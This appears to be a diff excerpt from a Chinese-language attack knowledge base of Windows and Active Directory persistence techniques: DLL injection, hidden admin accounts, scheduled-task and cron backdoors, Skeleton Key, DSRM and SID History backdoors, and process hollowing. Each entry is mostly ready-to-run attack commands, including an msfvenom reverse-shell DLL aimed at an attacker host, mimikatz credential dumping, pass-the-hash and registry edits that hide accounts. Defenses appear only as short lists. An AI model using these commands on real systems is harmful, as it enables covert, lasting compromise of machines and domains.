|
|
183
|
+
### DLL注入持久化 `persistence-dll-injection`
|
|
184
|
+
_通过DLL注入实现持久化_
|
|
185
|
+
子类:**DLL注入** · tags: `dll` `injection` `persistence`
|
|
186
|
+
|
|
187
|
+
**前置条件:**
|
|
188
|
+
- 代码执行权限
|
|
189
|
+
- 目标进程
|
|
190
|
+
|
|
191
|
+
**攻击链:**
|
|
192
|
+
|
|
193
|
+
**创建恶意DLL**
|
|
194
|
+
> 生成恶意DLL
|
|
195
|
+
_platform: linux_
|
|
196
|
+
```
|
|
197
|
+
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
**注入DLL**
|
|
201
|
+
> 将DLL注入到运行进程
|
|
202
|
+
_platform: windows_
|
|
203
|
+
```
|
|
204
|
+
使用工具如InjectDLL、PowerShell等注入到目标进程
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
**AppInit_DLLs**
|
|
208
|
+
> 通过AppInit_DLLs注入
|
|
209
|
+
_platform: windows_
|
|
210
|
+
```
|
|
211
|
+
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\evil.dll" /f
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
|
|
215
|
+
**概述:** DLL注入可以将代码注入到其他进程执行。
|
|
216
|
+
|
|
217
|
+
**漏洞原理:** 进程可以加载任意DLL。
|
|
218
|
+
|
|
219
|
+
**利用方法:** 利用流程:1) 创建DLL 2) 注入目标进程 3) 执行代码
|
|
220
|
+
|
|
221
|
+
**防御措施:** 防御措施:1) 启用CFG 2) 监控DLL加载 3) 使用签名验证
|
|
222
|
+
|
|
223
|
+
---
|
|
224
|
+
|
|
225
|
+
### 后门用户 `persistence-backdoor-user`
|
|
226
|
+
_创建后门用户账户_
|
|
227
|
+
子类:**用户** · tags: `user` `backdoor` `persistence`
|
|
228
|
+
|
|
229
|
+
**前置条件:**
|
|
230
|
+
- 管理员权限
|
|
231
|
+
|
|
232
|
+
**攻击链:**
|
|
233
|
+
|
|
234
|
+
**创建用户**
|
|
235
|
+
> 创建管理员用户
|
|
236
|
+
_platform: windows_
|
|
237
|
+
```
|
|
238
|
+
net user backdoor P@ssw0rd /add
|
|
239
|
+
net localgroup administrators backdoor /add
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
**隐藏用户**
|
|
243
|
+
> 创建隐藏用户($结尾)
|
|
244
|
+
_platform: windows_
|
|
245
|
+
```
|
|
246
|
+
net user backdoor$ P@ssw0rd /add
|
|
247
|
+
```
|
|
248
|
+
|
|
249
|
+
**修改注册表隐藏**
|
|
250
|
+
> 通过注册表隐藏用户
|
|
251
|
+
_platform: windows_
|
|
252
|
+
```
|
|
253
|
+
reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\backdoor$" /f
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
|
|
257
|
+
**概述:** 创建后门用户可以持久访问系统。
|
|
258
|
+
|
|
259
|
+
**漏洞原理:** 管理员可以创建用户。
|
|
260
|
+
|
|
261
|
+
**利用方法:** 利用流程:1) 创建用户 2) 添加到管理员组 3) 隐藏用户
|
|
262
|
+
|
|
263
|
+
**防御措施:** 防御措施:1) 监控用户创建 2) 定期审计用户列表
|
|
264
|
+
|
|
265
|
+
---
|
|
266
|
+
|
|
267
|
+
### 隐藏用户 `persistence-hidden-user`
|
|
268
|
+
_创建隐藏的管理员用户_
|
|
269
|
+
子类:**隐藏用户** · tags: `hidden` `user` `persistence`
|
|
270
|
+
|
|
271
|
+
**前置条件:**
|
|
272
|
+
- SYSTEM权限
|
|
273
|
+
|
|
274
|
+
**攻击链:**
|
|
275
|
+
|
|
276
|
+
**创建用户**
|
|
277
|
+
> 创建$结尾用户
|
|
278
|
+
_platform: windows_
|
|
279
|
+
```
|
|
280
|
+
net user hidden$ P@ssw0rd /add
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
**添加到管理员组**
|
|
284
|
+
> 添加管理员权限
|
|
285
|
+
_platform: windows_
|
|
286
|
+
```
|
|
287
|
+
net localgroup administrators hidden$ /add
|
|
288
|
+
```
|
|
289
|
+
|
|
290
|
+
**注册表隐藏**
|
|
291
|
+
> 通过注册表完全隐藏
|
|
292
|
+
_platform: windows_
|
|
293
|
+
```
|
|
294
|
+
reg export "HKLM\SAM\SAM\Domains\Account\Users\000003E9" user.reg
|
|
295
|
+
修改F值
|
|
296
|
+
reg import user.reg
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
|
|
300
|
+
**概述:** 隐藏用户不会在登录界面和用户列表显示。
|
|
301
|
+
|
|
302
|
+
**漏洞原理:** 注册表可以修改用户显示属性。
|
|
303
|
+
|
|
304
|
+
**利用方法:** 利用流程:1) 创建用户 2) 修改注册表 3) 完全隐藏
|
|
305
|
+
|
|
306
|
+
**防御措施:** 防御措施:1) 监控注册表修改 2) 深度审计用户
|
|
307
|
+
|
|
308
|
+
---
|
|
309
|
+
|
|
310
|
+
### 计划任务持久化 `persistence-scheduled`
|
|
311
|
+
_通过计划任务实现持久化_
|
|
312
|
+
子类:**计划任务** · tags: `persistence` `scheduled` `task`
|
|
313
|
+
|
|
314
|
+
**前置条件:**
|
|
315
|
+
- 创建任务权限
|
|
316
|
+
|
|
317
|
+
**攻击链:**
|
|
318
|
+
|
|
319
|
+
**创建登录任务**
|
|
320
|
+
> 创建登录时运行的任务
|
|
321
|
+
_platform: windows_
|
|
322
|
+
```
|
|
323
|
+
schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM
|
|
324
|
+
```
|
|
325
|
+
**语法解析:**
|
|
326
|
+
- `/tn` — 任务名称 _parameter_
|
|
327
|
+
- `/tr` — 执行的程序 _parameter_
|
|
328
|
+
- `/sc onlogon` — 触发条件:登录时 _parameter_
|
|
329
|
+
- `/ru SYSTEM` — 运行用户:SYSTEM _parameter_
|
|
330
|
+
|
|
331
|
+
**创建定时任务**
|
|
332
|
+
> 创建每5分钟运行的任务
|
|
333
|
+
_platform: windows_
|
|
334
|
+
```
|
|
335
|
+
schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc minute /mo 5
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
**PowerShell创建**
|
|
339
|
+
> 使用PowerShell创建任务
|
|
340
|
+
_platform: windows_
|
|
341
|
+
```
|
|
342
|
+
$action = New-ScheduledTaskAction -Execute "C:\backdoor.exe"
|
|
343
|
+
$trigger = New-ScheduledTaskTrigger -AtLogon
|
|
344
|
+
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "Backdoor" -User "System"
|
|
345
|
+
```
|
|
346
|
+
|
|
347
|
+
**Linux Cron**
|
|
348
|
+
> Linux计划任务
|
|
349
|
+
_platform: linux_
|
|
350
|
+
```
|
|
351
|
+
crontab -e
|
|
352
|
+
添加: * * * * * /tmp/backdoor.sh
|
|
353
|
+
或: @reboot /tmp/backdoor.sh
|
|
354
|
+
```
|
|
355
|
+
|
|
356
|
+
|
|
357
|
+
**概述:** 计划任务是常用的持久化方式。
|
|
358
|
+
|
|
359
|
+
**漏洞原理:** 计划任务可被创建执行任意程序。
|
|
360
|
+
|
|
361
|
+
**利用方法:** 利用流程:1) 创建任务 2) 设置触发器 3) 等待执行
|
|
362
|
+
|
|
363
|
+
**防御措施:** 防御措施:1) 监控任务创建 2) 审计任务变更 3) 限制创建权限
|
|
364
|
+
|
|
365
|
+
---
|
|
366
|
+
|
|
367
|
+
### Skeleton Key后门 `skeleton-key`
|
|
368
|
+
_在域控制器植入万能密码_
|
|
369
|
+
子类:**域后门** · tags: `skeleton-key` `backdoor` `domain`
|
|
370
|
+
|
|
371
|
+
**前置条件:**
|
|
372
|
+
- 域管理员权限
|
|
373
|
+
- 访问域控制器
|
|
374
|
+
|
|
375
|
+
**攻击链:**
|
|
376
|
+
|
|
377
|
+
**植入Skeleton Key**
|
|
378
|
+
> 使用Mimikatz植入
|
|
379
|
+
_platform: windows_
|
|
380
|
+
```
|
|
381
|
+
mimikatz # privilege::debug
|
|
382
|
+
mimikatz # misc::skeleton
|
|
383
|
+
```
|
|
384
|
+
**语法解析:**
|
|
385
|
+
- `misc::skeleton` — 植入万能密码模块 _command_
|
|
386
|
+
|
|
387
|
+
**使用万能密码**
|
|
388
|
+
> 使用万能密码登录
|
|
389
|
+
_platform: windows_
|
|
390
|
+
```
|
|
391
|
+
万能密码: mimikatz
|
|
392
|
+
任何域用户都可以使用mimikatz作为密码登录
|
|
393
|
+
```
|
|
394
|
+
|
|
395
|
+
**检测方法**
|
|
396
|
+
> 检测Skeleton Key
|
|
397
|
+
_platform: windows_
|
|
398
|
+
```
|
|
399
|
+
检查LSASS内存:
|
|
400
|
+
Get-Process lsass
|
|
401
|
+
使用EDR检测内存注入
|
|
402
|
+
```
|
|
403
|
+
|
|
404
|
+
|
|
405
|
+
**概述:** Skeleton Key在内存中植入万能密码,不影响原密码。
|
|
406
|
+
|
|
407
|
+
**漏洞原理:** 域控制器LSASS可被注入。
|
|
408
|
+
|
|
409
|
+
**利用方法:** 利用流程:1) 获取域管权限 2) 访问DC 3) 植入后门
|
|
410
|
+
|
|
411
|
+
**防御措施:** 防御措施:1) 保护DC 2) 监控LSASS 3) 使用Credential Guard
|
|
412
|
+
|
|
413
|
+
---
|
|
414
|
+
|
|
415
|
+
### DSRM后门 `dsrm-backdoor`
|
|
416
|
+
_利用DSRM账户建立后门_
|
|
417
|
+
子类:**域后门** · tags: `dsrm` `backdoor` `domain`
|
|
418
|
+
|
|
419
|
+
**前置条件:**
|
|
420
|
+
- 域管理员权限
|
|
421
|
+
- 访问域控制器
|
|
422
|
+
|
|
423
|
+
**攻击链:**
|
|
424
|
+
|
|
425
|
+
**获取DSRM密码**
|
|
426
|
+
> 获取DSRM账户哈希
|
|
427
|
+
_platform: windows_
|
|
428
|
+
```
|
|
429
|
+
mimikatz # lsadump::lsa /patch /name:krbtgt
|
|
430
|
+
或
|
|
431
|
+
mimikatz # token::elevate
|
|
432
|
+
mimikatz # lsadump::sam
|
|
433
|
+
```
|
|
434
|
+
|
|
435
|
+
**同步DSRM密码**
|
|
436
|
+
> 同步DSRM密码与域管理员
|
|
437
|
+
_platform: windows_
|
|
438
|
+
```
|
|
439
|
+
ntdsutil
|
|
440
|
+
set dsrm password
|
|
441
|
+
sync from domain account admin
|
|
442
|
+
q
|
|
443
|
+
q
|
|
444
|
+
```
|
|
445
|
+
**语法解析:**
|
|
446
|
+
- `ntdsutil` — AD数据库工具 _command_
|
|
447
|
+
- `sync from domain account` — 同步域账户密码 _keyword_
|
|
448
|
+
|
|
449
|
+
**启用DSRM账户**
|
|
450
|
+
> 允许DSRM账户远程登录
|
|
451
|
+
_platform: windows_
|
|
452
|
+
```
|
|
453
|
+
修改注册表:
|
|
454
|
+
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
|
|
455
|
+
```
|
|
456
|
+
|
|
457
|
+
**使用DSRM登录**
|
|
458
|
+
> 使用DSRM账户
|
|
459
|
+
_platform: windows_
|
|
460
|
+
```
|
|
461
|
+
使用DSRM账户哈希:
|
|
462
|
+
mimikatz # sekurlsa::pth /domain:DC_NAME /user:Administrator /ntlm:HASH
|
|
463
|
+
或使用Pass-the-Hash
|
|
464
|
+
```
|
|
465
|
+
|
|
466
|
+
|
|
467
|
+
**概述:** DSRM是域控制器的本地管理员账户,可作为后门使用。
|
|
468
|
+
|
|
469
|
+
**漏洞原理:** DSRM账户独立于域账户,常被忽视。
|
|
470
|
+
|
|
471
|
+
**利用方法:** 利用流程:1) 获取DSRM哈希 2) 同步密码 3) 启用远程登录
|
|
472
|
+
|
|
473
|
+
**防御措施:** 防御措施:1) 监控DSRM密码变更 2) 检查注册表 3) 定期审计
|
|
474
|
+
|
|
475
|
+
---
|
|
476
|
+
|
|
477
|
+
### SID History后门 `sid-history`
|
|
478
|
+
_利用SID History建立后门_
|
|
479
|
+
子类:**域后门** · tags: `sid-history` `backdoor` `domain`
|
|
480
|
+
|
|
481
|
+
**前置条件:**
|
|
482
|
+
- 域管理员权限
|
|
483
|
+
|
|
484
|
+
**攻击链:**
|
|
485
|
+
|
|
486
|
+
**添加SID History**
|
|
487
|
+
> 添加SID History
|
|
488
|
+
_platform: windows_
|
|
489
|
+
```
|
|
490
|
+
mimikatz # sid::add /sam:backdoor_user /new:administrator
|
|
491
|
+
将域管SID添加到普通用户
|
|
492
|
+
```
|
|
493
|
+
**语法解析:**
|
|
494
|
+
- `sid::add` — 添加SID History _command_
|
|
495
|
+
- `/sam` — 目标用户 _parameter_
|
|
496
|
+
- `/new` — 要添加的SID _parameter_
|
|
497
|
+
|
|
498
|
+
**验证SID History**
|
|
499
|
+
> 检查SID History
|
|
500
|
+
_platform: windows_
|
|
501
|
+
```
|
|
502
|
+
Get-ADUser backdoor_user -Properties sidHistory
|
|
503
|
+
或
|
|
504
|
+
whoami /all
|
|
505
|
+
```
|
|
506
|
+
|
|
507
|
+
**使用后门**
|
|
508
|
+
> 使用后门账户
|
|
509
|
+
_platform: windows_
|
|
510
|
+
```
|
|
511
|
+
使用backdoor_user登录
|
|
512
|
+
自动获得域管理员权限
|
|
513
|
+
```
|
|
514
|
+
|
|
515
|
+
|
|
516
|
+
**概述:** SID History允许用户继承其他用户的权限。
|
|
517
|
+
|
|
518
|
+
**漏洞原理:** SID History可被滥用添加额外权限。
|
|
519
|
+
|
|
520
|
+
**利用方法:** 利用流程:1) 创建普通用户 2) 添加域管SID 3) 获得域管权限
|
|
521
|
+
|
|
522
|
+
**防御措施:** 防御措施:1) 监控SID History 2) 审计用户属性 3) 使用PAM
|
|
523
|
+
|
|
524
|
+
---
|
|
525
|
+
|
|
526
|
+
### 进程镂空持久化 `persistence-process-hollowing`
|
|
527
|
+
_利用进程镂空技术实现持久化_
|
|
528
|
+
子类:**进程注入** · tags: `process-hollowing` `persistence` `injection`
|
|
529
|
+
|
|
530
|
+
**前置条件:**
|
|
531
|
+
- 代码执行权限
|
|
532
|
+
|
|
533
|
+
**攻击链:**
|
|
534
|
+
|
|
535
|
+
**进程镂空原理**
|
|
536
|
+
> 进程镂空原理
|
|
537
|
+
_platform: windows_
|
|
538
|
+
```
|
|
539
|
+
1. 创建合法进程(挂起状态)
|
|
540
|
+
2. 替换进程内存
|
|
541
|
+
3. 恢复执行
|
|
542
|
+
```
|
|
543
|
+
|
|
544
|
+
**C#实现**
|
|
545
|
+
> C#进程镂空
|
|
546
|
+
_platform: windows_
|
|
547
|
+
```
|
|
548
|
+
using System.Runtime.InteropServices;
|
|
549
|
+
// 创建挂起进程
|
|
550
|
+
CreateProcess("C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ...);
|
|
551
|
+
// 替换内存
|
|
552
|
+
NtUnmapViewOfSection(...);
|
|
553
|
+
VirtualAllocEx(...);
|
|
554
|
+
WriteProcessMemory(...);
|
|
555
|
+
ResumeThread(...);
|
|
556
|
+
```
|
|
557
|
+
|
|
558
|
+
**检测方法**
|
|
559
|
+
> 检测进程镂空
|
|
560
|
+
_platform: windows_
|
|
561
|
+
```
|
|
562
|
+
检查进程内存:
|
|
563
|
+
- 进程路径与内存内容不匹配
|
|
564
|
+
- 异常的内存区域
|
|
565
|
+
- 使用EDR检测
|
|
566
|
+
```
|
|
567
|
+
|
|
568
|
+
|
|
569
|
+
**概述:** 进程镂空将恶意代码注入合法进程。
|
|
570
|
+
|
|
571
|
+
**漏洞原理:** Windows进程创建机制可被利用。
|
|
572
|
+
|
|
573
|
+
**利用方法:** 利用流程:1) 创建挂起进程 2) 替换内存 3) 恢复执行
|
|
574
|
+
|
|
575
|
+
**防御措施:** 防御措施:1) 使用EDR 2) 监控进程创建 3) 内存扫描
|
|
576
|
+
|
|
577
|
+
---
|